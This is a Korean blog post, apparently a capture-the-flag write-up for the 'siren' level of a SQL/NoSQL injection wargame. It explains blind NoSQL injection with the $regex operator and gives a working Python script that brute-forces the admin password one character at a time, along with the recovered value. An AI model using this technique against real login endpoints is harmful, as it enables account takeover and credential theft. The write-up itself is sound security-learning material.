siren

이번 문제는 Blind NoSQL Inejction 문제다. 쿼리 조회 시 $result['id'] 값이 조회되면 “Hello User”를 출력한다.
이 점을 이용해서 블라인드 인젝션을 수행해야 한다.


이전 문제에서 정규식은 파라미터명[$regex]=^{임의문자} 형식으로 사용할 수 있음을 확인했다.
^{임의문자} 로 설정하면 MySQL에서 LIKE 와 같이 사용할 수 있게 된다.


위 내용들을 토대로 자동화 스크립트를 작성하면 아래와 같다.

import requests
import string
 
t_url = 'https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
wordlist = string.ascii_letters + string.digits
v = ''
u = ''
 
  
 
for i in range(1, 17):
    for w in wordlist:
        payload = ( f"?id[$regex]=^adm&pw[$regex]=^{v}{w}" )
        r = requests.get(t_url + payload, cookies=cookie)
        if "Hello User" in r.text:
            v += w
            print(f"[+] \"Hello User\" was found!")
            print(f"\tadmin's password → {v}")
 
            break
            
'''실행 결과
[+] "Hello User" String Was Founded!
        admin's password → 1588f5a3
'''

획득한 “admin” 계정의 패스워드를 입력하면 “SIREN” 문제도 클리어 성공이다!
이제 드디어 드디어 드디어 대장정의 끝이 보인다. 다음에는 마지막 48번 문제 “incubus” 로 돌아오겠다.


🐛.. 🐛.. 🐛..


REFERENCE

  1. https://king-koala.tistory.com/14